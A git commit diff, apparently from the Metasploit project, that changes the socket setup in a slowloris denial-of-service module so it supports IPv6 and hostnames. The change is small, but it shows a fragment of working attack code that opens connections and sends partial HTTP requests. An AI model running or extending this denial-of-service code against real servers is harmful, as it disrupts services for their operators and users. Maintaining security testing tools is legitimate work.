Add slowloris support for IPv6 and hostnames

Replace manual socket creation with `socket.create_connection` to get
auto-detection goodness.
GSoC/Meterpreter_Web_Console
Adam Cammack 2018-03-07 17:06:04 -06:00
parent e878e19bbd
commit 9a8f1ace2d
No known key found for this signature in database
GPG Key ID: C9378BA088092D66
1 changed files with 1 additions and 3 deletions

View File

@ -76,14 +76,12 @@ def create_random_header_name(size=8, seq=string.ascii_uppercase + string.ascii_
def init_socket(host, port, use_ssl=False, rand_user_agent=True):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = socket.create_connection((host, port), 10)
s.settimeout(4)
if use_ssl:
s = ssl.wrap_socket(s)
s.connect((host, port))
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
if rand_user_agent: